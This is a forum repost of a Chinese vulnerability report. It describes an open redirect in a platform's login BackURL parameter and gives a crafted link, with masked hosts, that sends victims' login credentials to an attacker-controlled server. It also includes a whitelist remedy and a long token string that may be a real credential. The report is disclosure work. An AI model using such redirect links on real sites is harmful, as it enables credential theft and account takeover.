搜索

[2186] 2020-10-26_某信息化平台登录处存在账户劫持漏洞

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2020-10-26_某信息化平台登录处存在账户劫持漏洞 某 信 息 化 平 台 登 录 处 存 在 账 户 劫 持 漏 洞 原 创   无 剧   E D I 安 全   2 0 2 0 - 1 0 - 2 6 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 漏 洞 标 题 某 信 息 化 平 台 登 录 处 存 在 账 户 劫 持 漏 洞 0 2 漏 洞 类 型 U R L 跳 转 0 3 漏 洞 等 级 高 危 0 4 漏 洞 地 址 h t t p : / / x x . x x . x x . x x : 8 8 0 9 / H o m e / A d m i n P r e t t y 0 5 漏 洞 详 情 某 信 息 化 平 台 登 录 处 存 在 U R L 跳 转 ， 这 里 可 以 利 用 这 个 跳 转 劫 持 登 录 用 户 的 账 户 凭 证 。 0 x 0 1 h t t p : / / x x . x x . x x . x x : 8 8 0 8 / L o g i n / x x x I n d e x ? B a c k U R L = h t t p : / / x x . x x . x x . x x : 8 8 0 9 / H o m e / A d m i n
这 里 搭 配 自 己 的 服 务 器 ， 完 成 劫 持 过 程 ： 首 先 变 化 下 登 录 链 接 ， 将 跳 转 后 的 地 址 换 成 自 己 的 服 务 器 地 址 ： 将 上 面 链 接 发 送 给 用 户 ， 只 要 用 户 正 常 登 录 ， 服 务 器 这 边 就 能 收 到 用 户 的 登 录 凭 证 ： 0 x 0 2 h t t p : / / x x . x x . x x . x x : 8 8 0 8 / L o g i n / x x x I n d e x ? B a c k U R L = h t t p : / / x x . x x . x x . x x : 2 3 3 3 / 0 x 0 3
然 后 加 上 原 来 的 地 址 ， 直 接 可 以 登 录 系 统 . 0 6 漏 洞 危 害 1 .   用 户 点 击 上 面 发 送 的 i p 链 接 就 可 以 导 致 账 户 被 攻 击 者 登 录 2 .   利 用 任 意 的 U R L 跳 转 的 问 题 可 以 跳 转 到 其 他 网 站 0 7 建 议 措 施 限 制 登 录 后 的 U R L 跳 转 范 围 ， 定 义 白 名 单 . P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 / ? T o k e n = 8 B 0 D 7 8 A 4 D 3 0 8 7 0 1 0 D 1 A A F A 0 6 0 C D 4 2 0 C 4 4 C 2 D 2 8 3 E 5 3 A 0 B 4 3 0 0 1 6 6 3 1 D D 6 B 2 B 4 D E 1 3 1 7 D 9 9 3 5 F A 9 F 6 0 2 B , t e s t 0 1 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理